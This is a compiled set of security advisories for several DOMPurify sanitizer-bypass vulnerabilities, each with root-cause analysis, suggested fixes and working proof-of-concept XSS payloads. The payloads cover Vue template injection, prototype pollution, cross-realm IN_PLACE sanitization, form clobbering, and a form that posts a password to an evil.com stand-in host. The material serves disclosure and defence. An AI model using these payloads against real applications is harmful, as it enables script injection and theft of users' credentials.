DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

CVE-2026-65903 / GHSA-39q2-94rc-95cp

More information

Details

Summary

In src/purify.ts:1117-1123, ADD_TAGS as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) bypasses FORBID_TAGS due to short-circuit evaluation.

The condition:

!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])

When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBID_TAGS[tagName] is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where FORBID_ATTR explicitly wins first:

if (FORBID_ATTR[lcName]) { continue; }

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both ADD_TAGS as a function and FORBID_TAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check FORBID_TAGS before tagCheck:

if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }

DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

CVE-2026-41239 / GHSA-crv5-9vww-q3g8

More information

Details

Summary
Field Value
Severity Medium
Affected DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db)

SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.

Technical Details

DOMPurify strips template expressions in two passes:

  1. Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):
// pass #&#8203;1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
  content = currentNode.textContent;
  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '
  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '
  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '
  currentNode.textContent = content;
}
  1. Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.

The RETURN_DOM path returns before pass #​2 ever runs (purify.ts:1637-1661):

// purify.ts (simplified)

if (RETURN_DOM) {
  // ... build returnNode ...
  return returnNode;        // <-- exits here, pass #&#8203;2 never runs
}

// pass #&#8203;2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;

The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:

  1. Parser creates: TEXT("{") → <foo> → TEXT("{payload}") → <foo> → TEXT("}") — no single node contains {{, so pass #​1 misses it
  2. <foo> is not allowed, so DOMPurify removes it but keeps surrounding text
  3. The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes
Reproduce

Open the following html in any browser and alert(1) pops up.

<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.appendChild(dom.firstChild);
    new Vue({ el: '#app' });
  </script>
</body>

</html>
Impact

Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

Recommendations
Fix

normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.

     if (RETURN_DOM) {
+      if (SAFE_FOR_TEMPLATES) {
+        body.normalize();
+        let html = body.innerHTML;
+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+          html = stringReplace(html, expr, ' ');
+        });
+        body.innerHTML = html;
+      }
+
       if (RETURN_DOM_FRAGMENT) {
         returnNode = createDocumentFragment.call(body.ownerDocument);

DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

CVE-2026-41240 / GHSA-h7mw-gpvr-xq4m

More information

Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback

CVE-2026-41238 / GHSA-v9jr-rg53-9pgp

More information

Details

Summary

DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses DOMPurify.sanitize() with the default configuration (no CUSTOM_ELEMENT_HANDLING option), a prior prototype pollution gadget can inject permissive tagNameCheck and attributeNameCheck regex values into Object.prototype, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.

Affected Versions
  • 3.0.1 through 3.3.3 (current latest) — all affected
  • 3.0.0 and all 2.x versions — NOT affected (used Object.create(null) for initialization, no || {} reassignment)
  • The vulnerable || {} reassignment was introduced in the 3.0.0→3.0.1 refactor
  • This is distinct from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)
  • This is distinct from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)
Root Cause

In purify.js at line 590, during config parsing:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

When no CUSTOM_ELEMENT_HANDLING is specified in the config (the default usage pattern), cfg.CUSTOM_ELEMENT_HANDLING is undefined, and the fallback {} is used. This plain object inherits from Object.prototype.

Lines 591-598 then check cfg.CUSTOM_ELEMENT_HANDLING (the original config property) — which is undefined — so the conditional blocks that would set tagNameCheck and attributeNameCheck from the config are never entered.

As a result, CUSTOM_ELEMENT_HANDLING.tagNameCheck and CUSTOM_ELEMENT_HANDLING.attributeNameCheck resolve via the prototype chain. If an attacker has polluted Object.prototype.tagNameCheck and Object.prototype.attributeNameCheck with permissive values (e.g., /.*/), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.

Impact
  • Attack type: XSS bypass via prototype pollution chain
  • Prerequisites: Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)
  • Config required: Default. No special DOMPurify configuration needed. The standard DOMPurify.sanitize(userInput) call is affected.
  • Payload: Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization
Proof of Concept
// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;

// Step 2: Application sanitizes user input with DEFAULT config
const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>');

// Step 3: "Sanitized" output still contains the event handler
console.log(clean);
// Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus="">

// Step 4: When injected into DOM, XSS executes
document.body.innerHTML = clean; // alert() fires
Tested configurations that are vulnerable:
Call Pattern Vulnerable?
DOMPurify.sanitize(input) YES
DOMPurify.sanitize(input, {}) YES
DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null }) YES
DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} }) NO (explicit object triggers L591 path)
Suggested Fix

Change line 590 from:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

To:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);

The create(null) function (already used elsewhere in DOMPurify, e.g., in clone()) creates an object with no prototype, preventing prototype chain inheritance.

Alternative application-level mitigation:

Applications can protect themselves by always providing an explicit CUSTOM_ELEMENT_HANDLING in their config:

DOMPurify.sanitize(input, {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: null,
    attributeNameCheck: null
  }
});

DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CVE-2026-49458 / GHSA-hpcv-96wg-7vj8

More information

Details

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

Summary

DOMPurify.sanitize(node, { IN_PLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

Affected
  • DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
  • Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created <iframe srcdoc>) and then calls DOMPurify.sanitize(foreignNode, { IN_PLACE: true }) against a sanitizer instance bound to a different realm

Not affected:

  • String-input DOMPurify.sanitize(dirtyString) — the library calls its own parser inside _initDocument, the resulting nodes belong to the sanitizer's own realm, and the instanceof checks resolve as expected
  • IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance
Vulnerability details

The unifying defect is that _isClobbered, _sanitizeShadowDOM's template-content recursion, and _sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.

[A] — _isClobbered gates on element instanceof HTMLFormElement

src/purify.ts:1120-1140:

const _isClobbered = function (element: Element): boolean {
  return (
    element instanceof HTMLFormElement &&    // [A] realm-bound — false for any
                                              //     iframe-realm <form> element
    (typeof element.nodeName !== 'string' ||
      typeof element.textContent !== 'string' ||
      typeof element.removeChild !== 'function' ||
      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound
      typeof element.removeAttribute !== 'function' ||
      typeof element.setAttribute !== 'function' ||
      typeof element.namespaceURI !== 'string' ||
      typeof element.insertBefore !== 'function' ||
      typeof element.hasChildNodes !== 'function' ||
      !(element.childNodes && typeof element.childNodes.length === 'number'))
  );
};

A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so _isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on _sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" shadows the form's real NamedNodeMap). The attribute walk traverses the wrong collection and never reaches the actual onmouseover / onclick / action=javascript: attributes on the form root.

[B] — _sanitizeShadowDOM gates template recursion on content instanceof DocumentFragment

src/purify.ts:1660-1662:

while ((shadowNode = shadowIterator.nextNode())) {
  ...
  _sanitizeElements(shadowNode);
  _sanitizeAttributes(shadowNode);
  /* Deep shadow DOM detected */
  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound
    _sanitizeShadowDOM(shadowNode.content);
  }
}

The same check exists in the main iterator at :1861-1862:

if (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound
  _sanitizeShadowDOM(currentNode.content);
}

For a <template> element constructed in a foreign realm, template.content is a DocumentFragment from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled <img src=x onerror=...> etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does node.cloneNode(true) / importNode(template.content, true) / inserts it into the live DOM, the embedded handler fires.

[C] — _sanitizeAttachedShadowRoots gates recursion on sr instanceof DocumentFragment

src/purify.ts:1702-1712:

if (nodeType === NODE_TYPE.element) {
  const sr = getShadowRoot
    ? getShadowRoot(root)
    : (root as Element).shadowRoot;
  if (sr instanceof DocumentFragment) {                    // [C] realm-bound
    _sanitizeAttachedShadowRoots(sr);
    _sanitizeShadowDOM(sr);
  }
}

For a host element constructed in a foreign realm with host.attachShadow({mode:'open'}), host.shadowRoot is a foreign-realm ShadowRoot (which extends the foreign realm's DocumentFragment). The instanceof DocumentFragment against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.

The mismatch

DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's _isNode(dirty) at :1750 is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. [A] / [B] / [C] each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., nodeType === 11 for DocumentFragment, tag-name comparison for HTMLFormElement recognition).

Proof of concept

Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm DOMPurify.sanitize(node, { IN_PLACE: true }) and verifies that handler execution succeeds on subsequent activation.

PoC 1 — cross-realm form clobbering survives

All three PoCs run cleanly against dist/purify.js built from current main HEAD 89da34e.

Impact
Direct

Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for <base href> isolation, document.write sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with IN_PLACE: true is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:

  • Form root attributes — onmouseover, onfocus, onclick, action="javascript:...", formaction=, target=, id= (DOM-clobbering target), and the full attribute-allowlist set, because _sanitizeAttributes walks a clobbered .attributes instead of the real NamedNodeMap.
  • <template> content — <img onerror>, <svg><script>, <iframe srcdoc>, etc., because the inert template tree is never recursed into.
  • Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely.

XSS triggers when the consuming code:

  • Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).
  • Clones template content with importNode / cloneNode(true) / node.appendChild(template.content) into the live DOM.
  • Appends the shadow host to the live document (the shadow root becomes active and <img onerror> fires synchronously during the insertion microtask).
Indirect / second-order
  • DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm <template> parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.
  • Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization.
  • Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS / <base> / form submission, then sanitize via the main page's DOMPurify.
  • Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass.

The known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound instanceof checks at [A], [B], [C]; current main HEAD is still affected.

Root cause

Per-realm constructors. instanceof X checks the prototype chain against the parent realm's X.prototype. Foreign-realm objects have a different X.prototype and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for IN_PLACE sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."

Other realm-bound instanceof sites in the same file that should likely be audited as part of the same fix sweep:

element instanceof HTMLFormElement     // src/purify.ts:1122
element.attributes instanceof NamedNodeMap  // src/purify.ts:1126
sr instanceof DocumentFragment         // src/purify.ts:1706
currentNode.content instanceof DocumentFragment  // src/purify.ts:1861
shadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)
currentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)
Suggested fix

Use realm-independent shape checks consistently for any decision made on a node accepted from IN_PLACE:

  1. HTMLFormElement detection — compare via the realm-independent getNodeName cached prototype getter introduced for the recent shadow-root traversal hardening:

    const _isClobbered = function (element: Element): boolean {
  const nn = getNodeName ? getNodeName(element) : element.nodeName;
  if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false;
  // ... rest of the typeof / cached-getter shape checks ...
};

  2. DocumentFragment detection — nodeType === NODE_TYPE.documentFragment (i.e., 11), not instanceof DocumentFragment. The check is already realm-independent because Node.nodeType is a numeric constant. Same change for the <template>-content and attached-shadow-root recursion sites.

  3. NamedNodeMap detection — read element.attributes via the cached Element.prototype.attributes getter (introduce getAttributes = lookupGetter(ElementPrototype, 'attributes')) and verify nodeType === 11-style shape (length is a number, indexed [i] returns objects with .name/.value strings). Do not rely on instanceof NamedNodeMap.

  4. Element detection at :1296 — replace currentNode instanceof Element with a shape check (getNodeType(currentNode) === NODE_TYPE.element).

The invariant the fix should encode: once IN_PLACE accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.

DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CVE-2026-49459 / GHSA-r47g-fvhr-h676

More information

Details

IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when _forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).

Affected
  • DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
  • Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected:

  • String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside _initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns])
  • IN_PLACE where the root is not an HTMLFormElement
  • IN_PLACE where the attacker cannot place a clobber-named child inside the root
Vulnerability details
Code paths

[A] — _forceRemove at src/purify.ts:930-939:

const _forceRemove = function (node: Node): void {
  arrayPush(DOMPurify.removed, { element: node });
  try {
    // eslint-disable-next-line unicorn/prefer-dom-node-remove
    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null
  } catch (_) {
    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op
  }                                           //      when the node has no parent
};

When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B] — _sanitizeAttributes at src/purify.ts:1490-1492:

const _sanitizeAttributes = function (currentNode: Element): void {
  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

  const { attributes } = currentNode;

  /* Check if we have attributes; if not we might have a text node */
  if (!attributes || _isClobbered(currentNode)) {
    return;                                   // [B] silently skips ALL attribute checks
  }                                           //     for clobbered nodes
  ...
};

The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the boolean return value of _sanitizeElements:

const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);

while ((currentNode = nodeIterator.nextNode())) {
  _sanitizeElements(currentNode);       // returns `true` if killed — IGNORED
  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip
  ...
}

If the return value were checked and _sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently _sanitizeAttributes is the only line of defense for a node that _sanitizeElements could not actually detach.

Why the clobber works

In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but _isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.

Verified clobber targets (each name= value independently triggers _isClobbered):

name= value property _isClobbered checks typeof on clobbered form
nodeName typeof element.nodeName !== 'string' object (an <INPUT>)
setAttribute typeof element.setAttribute !== 'function' object (not callable) — but <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below
namespaceURI typeof element.namespaceURI !== 'string' object
insertBefore typeof element.insertBefore !== 'function' object
hasChildNodes typeof element.hasChildNodes !== 'function' object
childNodes !(element.childNodes && typeof element.childNodes.length === 'number') object — <INPUT> has no .length
attributes !(element.attributes instanceof NamedNodeMap) object (an <INPUT> is not a NamedNodeMap)
textContent typeof element.textContent !== 'string' object
removeChild typeof element.removeChild !== 'function' object (non-callable)
removeAttribute typeof element.removeAttribute !== 'function' object (non-callable)

Any single one of the ten property names in _isClobbered's checklist is sufficient as the bypass trigger.

Proof of concept
(1) Minimal — runnable in a single browser context
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const root = document.createElement('form');
  root.setAttribute('onmouseover', 'window.__rooted = 1');
  const clobber = document.createElement('input');
  clobber.setAttribute('name', 'nodeName');
  root.appendChild(clobber);

  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
  DOMPurify.sanitize(root, { IN_PLACE: true });

  console.log('output:', root.outerHTML);
  // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

  document.body.appendChild(root);
  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  console.log('handler fired:', window.__rooted === 1);  // true
</script>
</body></html>
(2) End-to-end — Playwright against main HEAD
const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.setContent('<!doctype html><html><body></body></html>');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(() => {
    const root = document.createElement('form');
    root.setAttribute('onmouseover', 'window.__rooted = 1');
    const clobber = document.createElement('input');
    clobber.setAttribute('name', 'nodeName');
    root.appendChild(clobber);

    DOMPurify.sanitize(root, { IN_PLACE: true });

    document.body.appendChild(root);
    window.__rooted = 0;
    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));

    return {
      version: DOMPurify.version,
      output: root.outerHTML,
      handlerFired: window.__rooted === 1,
    };
  });
  console.log(result);
  await browser.close();
})();

Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):

{
  version: '3.4.5',
  output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>',
  handlerFired: true
}
(3) Variant matrix — six distinct clobber-target properties

Every property name in _isClobbered's typeof checklist works as the bypass trigger:

[BYPASS] name="nodeName"      → <form onmouseover="…"><input></form>
[BYPASS] name="setAttribute"  → <form onmouseover="…"><input></form>
[BYPASS] name="namespaceURI"  → <form onmouseover="…"><input></form>
[BYPASS] name="insertBefore"  → <form onmouseover="…"><input></form>
[BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form>
[BYPASS] name="childNodes"    → <form onmouseover="…"><input></form>

This makes the fix less of a one-line patch — every property _isClobbered checks for the typeof-spoofing pattern needs to be considered.

Impact
Direct

Two distinct impact paths from the same root-attribute-survival primitive:

(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:

const t = document.createElement('template');
t.innerHTML = untrustedHtml;
DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });
container.appendChild(t.content.firstElementChild);

If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.

(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The _sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:

  • action="javascript:..." and formaction="javascript:..." — URI validation at :1413 never runs. A user click on a submit button inside the sanitized form navigates to the javascript: URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.
  • id="<colliding-name>" — the DOM-clobbering guard at :1352-1359 (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside _sanitizeAttributes and is skipped. An attacker can therefore land id="cookie", id="body", id="head", id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does document.cookie, document.body, etc.
  • target="_top", autofocus, formenctype, formmethod — all survive untouched.
  • Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at :1361-1364 never runs.

Verified — full attribute set survives on a single payload (PoC):

const root = document.createElement('form');
root.setAttribute('action', 'javascript:alert(1)');
root.setAttribute('target', '_top');
root.setAttribute('onclick', 'alert(2)');
root.setAttribute('onmouseover', 'alert(3)');
root.setAttribute('autofocus', '');
root.setAttribute('formaction', 'javascript:alert(4)');
root.setAttribute('id', 'cookie');           // DOM-clobbering primitive
root.innerHTML += '<input name="nodeName">';
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log(root.outerHTML);
// <form action="javascript:alert(1)" target="_top" onclick="alert(2)"
//       onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)"
//       id="cookie"><input></form>

(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { IN_PLACE: true }) a second time hits the same _isClobbered → _forceRemove → _sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:

const root = parseAttackerHtml();                                     // form with input name="nodeName" child
DOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive
DOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive
const recovered = (() => {
  const t = document.createElement('template');
  t.innerHTML = root.outerHTML;                                       // forces a fresh parse
  const r = t.content.firstElementChild;
  DOMPurify.sanitize(r, { IN_PLACE: true });
  return r;
})();
// recovered.outerHTML === '<form><input></form>'  ← finally clean

